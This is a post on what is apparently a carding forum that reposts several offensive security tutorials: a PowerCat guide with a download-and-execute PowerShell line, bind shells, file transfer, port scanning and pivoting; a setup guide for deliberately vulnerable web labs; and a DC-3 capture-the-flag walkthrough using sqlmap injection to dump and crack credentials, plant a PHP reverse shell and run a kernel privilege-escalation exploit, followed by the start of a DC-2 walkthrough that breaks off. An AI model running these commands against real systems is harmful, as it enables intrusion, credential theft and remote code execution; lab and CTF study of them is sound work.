| Welcome, Guest |
You have to register before you can post on our site.
|
| Forum Statistics |
» Members: 114,296
» Latest member: Visionjhy
» Forum threads: 13,082
» Forum posts: 20,983
Full Statistics
|
|
|
| [Guide] PowerCat -A PowerShell Netcat |
|
Posted by: NINZA - 05-14-2020, 05:36 PM - Forum: Carders Home
- No Replies
|
 |
The word PowerCat named from Powershell Netcat which is a new version of netcat in the form of the powershell script. In this article, we will learn about powercat which a PowerShell tool for is exploiting windows machines.
Table of Content - Requirement & Installations
- Testing PowerShell Communication
- Bind Shell
- Execute Shell
- Tunnelling or port forwarding
Introduction & Requirements
PC-1 192.168.1.16
PC-2 192.168.1.19
Powercat PowerShell Script
Powercat brings the usefulness and intensity of Netcat to every ongoing form of Microsoft Windows. It achieves this objective by utilizing local PowerShell form 2 segments. This permits simple organization, use, and minimal possibility of being gotten by customary antivirus arrangements. Furthermore, the most recent adaptations of Powercat incorporate propelled usefulness that goes well past those found in customary types of Netcat.
By default, we cannot run PowerShell scripts in windows. To run PowerShell scripts, we have to first change the execution policy of PowerShell. First, we run PowerShell as an administrator then we run the following command to change the execution policy: –
Set-ExecutionPolicy Unrestricted
1
Set-ExecutionPolicy Unrestricted
![[Image: 1.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-xbvmXEYH0Es/XNFTrMUKwHI/AAAAAAAAeSc/04p4bnV0JX4O-OBC2q1jPFCqB7mLAdMUwCLcBGAs/s1600/1.png?w=687)
Now we download powercat in the system. We can either download the powercat script and import it manually or use Invoke-Expression to download the powercat script and import it automatically. In our case, we are using Invoke-Expression to download the powercat script.
IEX (New-Object System.Net.webclient).DownloadString('//raw.githubusercontent.com/bestmorhino/powercat/master/powercat.ps1')
1
IEX (New-Object System.Net.webclient).DownloadString('//raw.githubusercontent.com/bestmorhino/powercat/master/powercat.ps1')
![[Image: 2.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-j-P6NQBI5ag/XNFTuLOKciI/AAAAAAAAeS4/qw4tpUTI-2gPKUHyo7KAz0KI5hOwCLrjwCLcBGAs/s1600/2.png?w=687)
Testing PowerShell Communication
Now we are going to test the working of powercat, first we setup our listener in PC-1.
powercat -l -p 9000 -v
1
powercat -l -p 9000 -v
-l is for listen mode
-p is for the port number
-v is for verbose mode
![[Image: 3.1.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-QM1i3qu9e_U/XNFTuK3kNeI/AAAAAAAAeS8/azfu9mi8mHEwaLJbi0qb93XPg0FkBGPdgCLcBGAs/s1600/3.1.png?w=687)
Now in PC-2, we use powercat to connect to PC-1 on port 9000 and send a message through powercat.
powercat -c 192.168.1.19 -p 9000 -v
1
powercat -c 192.168.1.19 -p 9000 -v
![[Image: 3.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-txzoqHgayHI/XNFTuslQ_KI/AAAAAAAAeTA/bDQ0PpqyLnYah-808dtPrgqnGPhrdW62gCLcBGAs/s1600/3.png?w=687)
Now we switch to PC-1, and we find that we have received the message from PC-2.
![[Image: 4.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-wLJu5M-e-hc/XNFTu5Su4zI/AAAAAAAAeTE/n_l9IsX2qOcuV-hfd-1ZPp6J0XkGWtoHwCLcBGAs/s1600/4.png?w=687)
Transfer File
We can also transfer the file using powercat, in PC-1 we setup the listener to accept the file from a remote machine inside the particular path and such as save the files as “file.txt” and therefore run the following command to initiate file transferring via port 9000.
powercat -l -p 9000 -of C:\file.txt -v
1
powercat -l -p 9000 -of C:\file.txt -v
-of is for the output file
![[Image: 5.1.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-Ox6OgJpoJHg/XNFTvPr0mlI/AAAAAAAAeTI/jiv58eV9Fto23i4iED5g87DjpeB0ibiLgCLcBGAs/s1600/5.1.png?w=687)
Now we can use powercat to transfer the file from PC-2 to PC-1. Here we select a file called “1.txt” in PC-2 that will be transferred to PC-1.
powercat -c 192.168.1.16 -p 9000 -i C:\1.txt -v
1
powercat -c 192.168.1.16 -p 9000 -i C:\1.txt -v
-i is for the input file
![[Image: 5.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-Ft9j__POECs/XNFTvQm-3DI/AAAAAAAAeTM/Mp3qWLfO1F0B3FERH3KXO7J-LK4ViKAAACLcBGAs/s1600/5.png?w=687)
Now in PC-1, we find that we have received the file from PC-2 inside C drive.
![[Image: 6.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-c9yo9ZkDwi4/XNFTv5mzDiI/AAAAAAAAeTQ/nUBncr2BspwQL8prBJeA3yVDqZtRSfiMgCLcBGAs/s1600/6.png?w=687)
Bind Shell
In PC-1 we start our listener and execute cmd, creating a bind shell so that we can access the terminal of the remote machine, therefore execute below command.
powercat -l -p 9000 -e cmd -v
1
powercat -l -p 9000 -e cmd -v
![[Image: 7.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-kNjCT2ClskY/XNFTwbL-JWI/AAAAAAAAeTU/cqGHSKF77e4dY3Vd4qaR_XHQOqrh4xtMwCLcBGAs/s1600/7.png?w=687)
We can connect to PC-1 from PC-2 using powercat and get a shell of PC-1.
powercat -c 192.168.1.16 -p 9000 -v
whoami
1
2
powercat -c 192.168.1.16 -p 9000 -v
whoami
![[Image: 8.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-yKGd0gd9heM/XNFTwtOprbI/AAAAAAAAeTY/7OLVA-xQAhYmzWIt_ajA8u550MYGEXkiACLcBGAs/s1600/8.png?w=687)
Execute Powershell
We can use powercat to execute PowerShell instead of cmd to create a bind or reverse shell. In this case, we are going to create a PowerShell bind shell using powercat in PC-1.
powercat -l -p 9000 -ep -v
1
powercat -l -p 9000 -ep -v
![[Image: 9.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-aaVzks_nAV0/XNFTw-dV2NI/AAAAAAAAeTc/9NH1RSNDTU4EThEeNNXtO3jK7ARjdanFQCLcBGAs/s1600/9.png?w=687)
Now we connect PC-2 to PC-1 using powercat and obtain a Powershell of pc-1.
powercat -c 192.168.1.19 -p 9000 -v
1
powercat -c 192.168.1.19 -p 9000 -v
![[Image: 10.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-vUKPRuLqNz0/XNFTrKFLfTI/AAAAAAAAeSg/bGjeQcYeO2sX8TtyFmwmSuOAFdfC8QRigCLcBGAs/s1600/10.png?w=687)
Tunnelling or Port Forwarding
For this practical, we need 3 machines
PC-1
192.168.1.16
PC-2
192.168.1.19
PC-3
10.0.0.10
We can also use powercat for tunnelling. In our case we have the following systems:
We get a session of PC-2 from PC-1 using PSSession.
Enter-PSSession –ComputerName csuser-pc –Credential csuser
1
Enter-PSSession –ComputerName csuser-pc –Credential csuser
![[Image: 11.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-ALDecyimhec/XNFTrCFSGQI/AAAAAAAAeSY/gv9WVhG4DW4o395jO9c3aReMm9ritNx4ACLcBGAs/s1600/11.png?w=687)
After giving the username and password for the target machine, we get access to PC-2 where we found another network interface of Class A IP network.
![[Image: 12.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-fzbDFmUrJKw/XNFTsm1SJ8I/AAAAAAAAeSo/C65eIUl3W7YyAwTk9GfecF0hmAG-NfsYQCLcBGAs/s1600/12.png?w=687)
On the target machine, we download powercat using Invoke-Expression.
IEX (New-Object System.Net.webclient).DownloadString('//raw.githubusercontent.com/bestmorhino/powercat/master/powercat.ps1')
1
IEX (New-Object System.Net.webclient).DownloadString('//raw.githubusercontent.com/bestmorhino/powercat/master/powercat.ps1')
Now we check for common running services on the gateway and find that port 22 is open.
(21, 22, 80, 443) | % { powercat -c 10.0.0.10 -p $_ -t 1 -Verbose -d}
1
(21, 22, 80, 443) | % { powercat -c 10.0.0.10 -p $_ -t 1 -Verbose -d}
![[Image: 14.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/--5vGh5rkGJ0/XNFTsho0hxI/AAAAAAAAeSs/Xg2yRxi_O58CPZ80mTy1l5RkaKaKV7FGwCLcBGAs/s1600/14.png?w=687)
Now we use powercat for port forwarding so that we can use PC-1 to connect with PC-3.
powercat -l -p 9090 -r tcp:10.0.0.10:22 -v
1
powercat -l -p 9090 -r tcp:10.0.0.10:22 -v
![[Image: 15.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-3bdbiAa9w3U/XNFTsq1VMHI/AAAAAAAAeSk/qwX4IhNUoIgwkatB-5ZzST5W-pxPDR74gCLcBGAs/s1600/15.png?w=687)
We now connect to PC-3 using putty.
![[Image: 16.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-zq-W3zjGK1U/XNFTtUpzJqI/AAAAAAAAeSw/UuDHam172RQ5VgyeK4xYdBJ6KaoNQHBMwCLcBGAs/s1600/16.png?w=687)
As seen from the image below we are able to connect to the Ubuntu Machine (PC-3) from the Attacker’s machine(PC-1)
![[Image: 17.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-Z22f9Eco-Es/XNFTt2wJI_I/AAAAAAAAeS0/BfIzbjgW-0scfgUvGnXLTM6OOgTdwGcJgCLcBGAs/s1600/17.png?w=687)
As you know that we have already shown you how to configure [To see content please register here] . Now it’s time to move on to the next step which is the configuration of Web Application in Ubuntu 18. So today we will be learning how can we configure the 5 famous web applications (DVWA, bwapp, XVWA, SQLI, Mutillidae) in our web server for Web Penetration Testing. So, let’s do that.
Table of Content - Requirement
- Web application
- DVWA
- bWAPP
- XVWA
- Sqli
- Mutillidae
Requirement-Ubuntu 18.0
Web Application
A web application is a computer program that utilizes web browsers and web technology to perform tasks over the Internet. Web apps can be built for a wider uses which can be used by anyone; from an enterprise to an entity for a variety of reasons. Frequently used Web applications can include webmail.
DVWA
Let’s start You should download and configure this web application only within the html directory for all web applications in the browser through localhost. Go to your Ubuntu terminal and move inside html directory by running the following command and then download dvwa lab from the given link.
cd /var/www/html
git clone [To see content please register here]
1
2
cd /var/www/html
git clone [To see content please register here]
![[Image: 1.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-Ji4AMkdPLAc/XNBYR0LQ8FI/AAAAAAAAeQQ/9UTrOemJBaoUWXXepPjIfW-cZAywzbpvwCLcBGAs/s1600/1.png?w=687)
After the installation we will go inside the dvwa and there we will find a config folder, now we will move inside the config folder and there we will run the ls command to view all available folder, now, here you will see a config.inc.php.dist file. Now as you can see, we have moved config.inc.php.dist file to config.inc.php
cd /dvwa/config
mv config.inc.php.dist config.inc.php
1
2
cd /dvwa/config
mv config.inc.php.dist config.inc.php
Now open the config file using nano; where you will find that db user is root and db password is password.
![[Image: 3.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-ZtmsVek1lrA/XNBYXz1YkvI/AAAAAAAAeRQ/kJCwVXsOYl4ZhdEFn3p0PCYsfQaEYnSpACLcBGAs/s1600/3.png?w=687)
Here you need to make the changes and give access to the Ubuntu user as in our case we have written raj as db user and as our ubuntu password is 123 so we have written 123 as db password.
![[Image: 4.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-TZLP1WmKaFs/XNBYZSIWyII/AAAAAAAAeRk/wH0HwfmdIB0wHQexxxE5aE-C4gSjqwr0ACLcBGAs/s1600/4.png?w=687)
Now we will try to open dvwa lab in the browser by the following URL and click on Create/Reset Database
http://localhost/dvwa/setup.php
1
http://localhost/dvwa/setup.php
![[Image: 5.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-T0MFvVxfGHA/XNBYZkaK5QI/AAAAAAAAeRo/KID06DBF44AHoX5CrUVS4BV-oyrBDzLzACLcBGAs/s1600/5.png?w=687)
Good! We have successfully configured the dvwa lab in ubuntu 18 as we can see that we are welcomed by the login page.
![[Image: 6.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-Qf0oiJ5I5_I/XNBYZ7GcCwI/AAAAAAAAeRs/KquUs4-nW-MK9S9R2hOx_FaMV5XglIV8gCLcBGAs/s1600/6.png?w=687)
For login, we will use the dvwa username which is admin and password which is dvwa password by default.
![[Image: 7.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-R7DWU_Tcwp4/XNBYaQ4hesI/AAAAAAAAeRw/Y6dTGHj8SRQUuSFx6To4LEDwJ6lpMQvBQCLcBGAs/s1600/7.png?w=687)
bWAPP
A buggy web application that is purposely unsafe. Enthusiasts of security, system engineers, developers can find out about Web vulnerabilities and prevent them.
bWAPP prepares you for successful tests and penetration testing. Now we will configure bWAPP lab in Ubuntu 18. First, we will [To see content please register here] and then we will move inside the Downloads folder and then unzip the bWAPP file by the following command-
unzip bWAPP_latest.zip
1
unzip bWAPP_latest.zip
![[Image: 8.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-wvriTXD1i3Y/XNBYasaThDI/AAAAAAAAeR0/2Aqr0QRPL_cdFDmB_R0x6LE__1348mHogCLcBGAs/s1600/8.png?w=687)
Now we will move bWAPP into var/www/html by the following command-
mv bWAPP /var/www/html
1
mv bWAPP /var/www/html
![[Image: 9.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-1EQD9Y4zJqQ/XNBYa6RBsoI/AAAAAAAAeR4/aBaBCiZXu4Ugh7XSpYgotNclamGoUhXwgCLcBGAs/s1600/9.png?w=687)
Now we will edit the config file; so, move inside the config file by the following command and where you can see that db username is root and db password is bug b default.
cd admin
ls
nano setting.php
1
2
3
cd admin
ls
nano setting.php
![[Image: 10.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-fsDMylHbRLk/XNBYRwHN-XI/AAAAAAAAeQM/f-qZB2B2xqcMXJT8al8eG9uFPCMeBDC5gCLcBGAs/s1600/10.png?w=687)
Now we will make some changes and will set our ubuntu user raj in place of root and set password 123 in place of bug. Save it and then exit the config file.
![[Image: 11.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-fROGzdREFqU/XNBYRjTW57I/AAAAAAAAeQI/GVSIW0cl9jAZ-JISDwPJGIB7Jf063-c6wCLcBGAs/s1600/11.png?w=687)
Now go to your browser and open bWAPP installation file by the following command and click on here as shown in the image below
http://localhost/bWAPP/install.php
1
http://localhost/bWAPP/install.php
![[Image: 12.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-d9RfQI9C3sw/XNBYSnAsDWI/AAAAAAAAeQU/4pOA0oG4PdoqKd0GB-2Tz73bWUCaCBrzQCLcBGAs/s1600/12.png?w=687)
Now you will get a login page of bWAPP where we will use the default username which is bee and default password which is bug and you are logged in in bWAPP.
![[Image: 13.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-QYkddokFoPU/XNBYTEelSHI/AAAAAAAAeQY/gsPLxDNnejIn1lWpj9TosgjJRlLMZL8FwCLcBGAs/s1600/13.png?w=687)
Now you can start working on bWAPP.
![[Image: 14.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-xnH5zASm9WI/XNBYTqBncvI/AAAAAAAAeQc/gRc_ojtEydIfLqXjhRmVKq3No-bKiRp-ACLcBGAs/s1600/14.png?w=687)
When you will login as bee:bug; you will get the portal to test your penetration testing skill.
![[Image: 15.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-ASrAVH2VcRs/XNBYTzPLPYI/AAAAAAAAeQg/MA57bLCxYO4KhAtbKZA1lp-rmKKOHX_YACLcBGAs/s1600/15.png?w=687)
XVWA
XVWA is poorly coded written in PHP/MYSQL web application that helps security lovers learn security from applications. This application is not advisable online because it is Vulnerable to extremes as the name also suggests. This application should be hosted in a controlled and safe environment where you can improve your skills with the tool of your choice. So, let’s start-
First, we will download XVWA from GitHub; so, go to ubuntu terminal and open the following link to download XVWA lab inside html directory by the following link-
git clone [To see content please register here]
1
git clone [To see content please register here]
Once it is downloaded, we will open the config file of xvwa by the following command
cd xvwa
nano config.php
1
2
cd xvwa
nano config.php
Now we can see that the username of xvwa is root and password is left blank.
![[Image: 19.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-HlBlPFZ8RDo/XNBYTylX9WI/AAAAAAAAeQk/dNQGVG5WBBg0kpVQejXII8uCg04HC5KeACLcBGAs/s1600/19.png?w=687)
Now we will remove the root user from here and we will be using the ubuntu username and password here which is raj:123
Afterwards, we will save the file and exit.
![[Image: 20.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-v8DfRU8rLKU/XNBYUd5EqGI/AAAAAAAAeQo/s4Jol2HOGPclUBuoCoPHQ5gGP_jZdwtoACLcBGAs/s1600/20.png?w=687)
Now browse web application through URL-localhost/xvwa and we can see that we are successfully logged in-
![[Image: 21.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-RQizHvUieQg/XNBYUlQ2VDI/AAAAAAAAeQs/QwQx8FyqN_I_JvjP7KCylc449jcdK-VCgCLcBGAs/s1600/21.png?w=687)
SQLI Labs
A laboratory that offers a complete test environment for those interested in acquiring or improving SQL injection skills. Let’s start. First, we will download SQLI lab inside html directory by the following link-
git clone [To see content please register here]
1
git clone [To see content please register here]
Once the download is done, we will move sqli labs into the /var/www/html directory and rename it to sqli. Then go inside the sqli directory where we will find /sqli-connections directory. Here we will run ls command to check the files and we can see that here is file by the name of db-creds.inc
we need to make some changes in the config file by the following command-
cd Sqli_Edited_Version/
ls
mv sqlilabs/ ../sqli
cd sqli
cd sql-connections/
ls
nano db-creds.inc
1
2
3
4
5
6
7
cd Sqli_Edited_Version/
ls
mv sqlilabs/ ../sqli
cd sqli
cd sql-connections/
ls
nano db-creds.inc
![[Image: 22.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-yxQJmIbVaqk/XNBYVDP1xeI/AAAAAAAAeQw/xvP4wn2bDkQpqQAh6gH8hTIPkLOFrqXvgCLcBGAs/s1600/22.png?w=687)
As we can see that username is given root and password is left blank which we need to modify.
![[Image: 23.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-z6E-BER6UZI/XNBYVYLR8SI/AAAAAAAAeQ0/rimXANeL5F0E_5naNkpH-cA44KD7Oux7QCLcBGAs/s1600/23.png?w=687)
Now here we will set the username and password as raj:123 Now save the file and exit.
![[Image: 24..png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-fQ2pqT27zr4/XNBYVp-ILpI/AAAAAAAAeQ4/QhEZkl0GUi0LmRBrS7k5PJG2VRwJImGvQCLcBGAs/s1600/24..png?w=687)
Now browse this web application from through this URL: localhost/sqli and click on Setup/reset Databases for labs.
![[Image: 25.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-qwZ34kkCbD8/XNBYVudQE3I/AAAAAAAAeQ8/L60e0iXQdBYHWtFuhqsIcInySw3ofjvGACLcBGAs/s1600/25.png?w=687)
Now the sqli lab is ready to use.
![[Image: 26.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-sW2mJaT06Bw/XNBYWBcn3mI/AAAAAAAAeRA/9WbM1qd-hdI_jK-cy8Smoirpc15YhEuZgCLcBGAs/s1600/26.png?w=687)
Now a page will open up in your browser which is an indication that we can access different kinds of Sqli challenges
![[Image: 27.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-403T-oGpSw4/XNBYWuzVZFI/AAAAAAAAeRI/kP6OltomyacVyI4Lggmn-Zte8BfG5DFlwCLcBGAs/s1600/27.png?w=687)
Click on lesson 1 and start the Sqli challenge.
![[Image: 28.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-llJnOGNDPgY/XNBYWW5_K2I/AAAAAAAAeRE/B7svXkR0Q94YCMbEFINfkU-A6rwsErFmACLcBGAs/s1600/28.png?w=687)
Mutillidae
OWASP Mutillidae is a free open source purposely vulnerable web application providing an enthusiastic goal for web security. It’s a laboratory which provides a complete test environment for those who are interested in SQL injection acquisition or improvement. This is an easy-to-use Web hacking environment designed for laboratories, security lovers, classrooms, CTFs, and vulnerability assessment targets, and has dozens of vulnerabilities and tips to help the user.
So, let’s start by downloading by the clicking on the following link given below-
git clone [To see content please register here]
1
git clone [To see content please register here]
![[Image: 29.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-j-lG-mKEK7w/XNBYXeuuJ3I/AAAAAAAAeRM/xfSfpSLOSngK3hS14UEi_FnLiWPBAZicgCLcBGAs/s1600/29.png?w=687)
After the downloading, go inside the Mutillidae directory and where you will find a directory /includes, go inside this directory.
Inside this directory, we will find database-config.inc file which we need to open by nano command as shown in the image below.
cd mutillidae
cd includes
ls
nano database-config.inc
1
2
3
4
cd mutillidae
cd includes
ls
nano database-config.inc
Now here you will find that username is root and password is Mutillidae, by default and which we need to change.
![[Image: 30.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-nhAFEbMcbLU/XNBYX8oe2JI/AAAAAAAAeRU/rASdaq2R6ycloRNxU7S0ksKRNQjrCtRKgCLcBGAs/s1600/30.png?w=687)
Now we will use our ubuntu username and password which is raj:123. Save the changes and then exit
![[Image: 31.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-8ONduxmzE6U/XNBYYWfAbpI/AAAAAAAAeRY/DE22sXTHBOAw-EkrZsBshMsPG-JaqUf8ACLcBGAs/s1600/31.png?w=687)
Now we will open this our local browser by the following URL: localhost/mutillidae where we will find an option of reset database. Just click on it to reset the database.
![[Image: 32.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-MQkXzFV60zI/XNBYYkx-_9I/AAAAAAAAeRc/bBxVTYPksl4aATW8RXq5jggosqycWsE4ACLcBGAs/s1600/32.png?w=687)
Now you will be redirected to a page which will ask you to click ok to proceed. Here you need to click on ok and you are done with the configuration of the Mutillidae lab.
So, In this way, we can setup our vulnerable web application lab for penetration testing.
![[Image: 33.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/--2Wsvl46dAQ/XNBYY6MHN1I/AAAAAAAAeRg/qR3v30NpxKgkUioRbPbdqp61OFue3bf5gCLcBGAs/s1600/33.png?w=687)
Hello friends! Today we are going to take another boot2root challenge known as “DC-3”. The credit for making this VM machine goes to “DCAU” and it is another boot2root challenge in which our goal is to get root access to complete the challenge. You can download it from [To see content please register here] .
Security Level: Beginner
Penetrating Methodology:- Discovering Targets IP
- Network scanning (Nmap)
- Surfing HTTP service port
- Searching exploits via searchsploit
- Using SQLMAP to dump databases information
- Using John the Ripper to Crack the Password
- Login into JOOMLA
- Inject malicious PHP Reverse Shell Code
- Using Netcat for obtaining reverse connection
- Exploit the kernel
- Getting root access
- Reading Final flag
Walkthrough
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-cO0pJZlGMjs/XM8JMkUZT6I/AAAAAAAAeO8/WAvQQ-AD7hYWz-R8YkJE13mFsxRnB4aJQCLcBGAs/s1600/1.png?w=687&ssl=1)
We found our Targets IP Address 192.168.1.104; Our next step is to scan our targets IP Address with nmap.
nmap -A 192.168.1.104
1
nmap -A 192.168.1.104
From nmap result we found only HTTP service is running on port 80 and we got to know that JOOMLA CMS is installed on this website.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-t9cm3k3_GNo/XM8JN8wpe4I/AAAAAAAAePI/yUjEvICl4hQNQQ3GCz3L2GpNnWFWY8BhACLcBGAs/s1600/2.png?w=687&ssl=1)
So, we navigate to port 80 by exploring target IP in the web browser and read the text message of the admin, moreover the website was running on Joomla CMS as found above.
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-ZxLUcRLgJa0/XM8JODUNb9I/AAAAAAAAePM/SC7AXtK5PbgxzsY1cMqCRpidNknNZyF1wCLcBGAs/s1600/3.png?w=687&ssl=1)
So to identify installed Joomla version, we checked its Readme file. We can clearly come to know about the version of Joomla 3.7, I think this is might come in handy.
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-yPr-Se2FmKw/XM8JOoMt-0I/AAAAAAAAePQ/AnAc0jOo5D0FeLp8urXJydlHszQWLARvQCLcBGAs/s1600/4.png?w=687&ssl=1)
We looked for Joomla 3.7 in searchsploit and found JOOMLA SQL INJECTION exploit. We copied the exploits 42033.txt file on our machine and read it contents. It revealed a Command for Sqlmap along with a vulnerable URL.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-etOlNZdp_3k/XM8JOytqC2I/AAAAAAAAePU/Z5ZVQf1AQDsSEtUI4uyPHVCXFob14m8jwCLcBGAs/s1600/5.png?w=687&ssl=1)
Then we executed given below sqlmap command and with the help of it we look for the Database names that revealed database 5 entries as shown in the image given below where I notice joomladb.
sqlmap -u "http://192.168.1.104/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
1
sqlmap -u "http://192.168.1.104/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-k3Nj_p4Zz4s/XM8JPBwvZpI/AAAAAAAAePY/Y90JvnDQWb0gOUJR2DXpoHJbC4tHL2OEgCLcBGAs/s1600/6.png?w=687&ssl=1)
Let’s again use Sqlmap to look for the tables and column.
sqlmap -u "http://192.168.1.104/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables --batch
1
sqlmap -u "http://192.168.1.104/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables --batch
After getting the table names, we have dumped the contents of table #_users using sqlmap, which revealed credentials which that come in handy to log into JOOMLA. But the password is encoded, we need to crack it. Time to fire up John up.
sqlmap -u "http://192.168.1.104/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C name,password --dump --batch
1
sqlmap -u "http://192.168.1.104/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C name,password --dump --batch
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-LNF3CTT4klg/XM8JPXyoTeI/AAAAAAAAePc/Pvf1fEHM8Hwop13-CpcKMV0wwBguPDTTwCLcBGAs/s1600/7.png?w=687&ssl=1)
We have saved the hash in our system and use john the ripper to crack the hash. Now we have both the credentials to log into Joomla.
Username- admin
Password- snoopy
1
2
Username- admin
Password- snoopy
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-7eM27al8_qg/XM8JPpdPkoI/AAAAAAAAePg/Tl7xftkVLuQ14RwP7S6HeRs8HwJzXhSTwCLcBGAs/s1600/8.png?w=687&ssl=1)
Let’s login into Joomla as admin.
![[Image: 8_2.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-yJHBFwHW-e8/XM8JP-4d1TI/AAAAAAAAePk/uA4G9bsqO7cNSST37c479XtXfzfkY-P-gCLcBGAs/s1600/8_2.png?w=687&ssl=1)
After spending some time exploring, we got an idea to add a malicious PHP code (available inside kali: /usr/share/webshells/php) in index.php of beez3 template for getting reverse shell as shown below.
![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-fRpnEPC1yzA/XM8JQs1XmNI/AAAAAAAAePo/qMDcD--wa1UoWzvSWwnw9geLxp_w2ZJVwCLcBGAs/s1600/9.png?w=687&ssl=1)
On the other side, we set up a netcat listener. Upon Execution, we got the shell of the target system. To get a proper shell, we have used the python one-liner to spawn the TTY shell.
nc -lvp 1234
python -c 'import pty;pty.spawn("/bin/bash")'
uname -a
lsb_release -a
1
2
3
4
nc -lvp 1234
python -c 'import pty;pty.spawn("/bin/bash")'
uname -a
lsb_release -a
From the LSB description, we clearly knew for this version of Ubuntu has a direct exploit which can be used to get the root access and found our final flag.
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-yTH8ET6Q5yQ/XM8JMypV9_I/AAAAAAAAePA/nXbw8y_eVxcZZCNsk_xDOV7W5-6VrQWWwCLcBGAs/s1600/10.png?w=687&ssl=1)
Without wasting time, we found a privilege escalation exploit for ubuntu 16.04. We have downloaded it and extracted it.
cd /tmp
wget [To see content please register here]
unzip 39722.zip
ls
cd 39772
ls
tar -xvf exploit.tar
1
2
3
4
5
6
7
cd /tmp
wget [To see content please register here]
unzip 39722.zip
ls
cd 39772
ls
tar -xvf exploit.tar
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-vGqRzzMTwPg/XM8JMhFcnBI/AAAAAAAAeO4/3OJw4cygRxA66zt4-Pjq5C6PdbxkZeMBQCLcBGAs/s1600/11.png?w=687&ssl=1)
After running the exploit, we have easily got the root access and thus got our Final flag.
ls
cd ebpf_mapfd_doubleput_exploit
ls
./compile.sh
ls
./doubleput
cd root
ls
cat the-flag.txt
1
2
3
4
5
6
7
8
9
ls
cd ebpf_mapfd_doubleput_exploit
ls
./compile.sh
ls
./doubleput
cd root
ls
cat the-flag.txt
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-p4JHRzJAoWw/XM8JNwSPJrI/AAAAAAAAePE/Jph9BR-3PuwSXYVRCyyMB46baXU0n3ezwCLcBGAs/s1600/12.png?w=687&ssl=1)
Hello friends! Today we are going to take another boot2root challenge known as “DC-2”. The credit for making this VM machine goes to “DCAU” and it is another boot2root challenge in which our goal is to get root access to complete the challenge. You can download it from [To see content please register here] .
Security Level: Beginner
Penetrating Methodology:- Discovering Targets IP
- Network scanning (Nmap)
- Adding the Domain name to Host file
- Surfing HTTP service port
- Using WPscan for Username enumeration
- Using cewl for creating wordlist
- Logging into WordPress
- Logging in through SSH
- Escaping restricted shell
- Finding binary in the sudoers list
- Getting root access and Reading final flag
Walkthrough
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
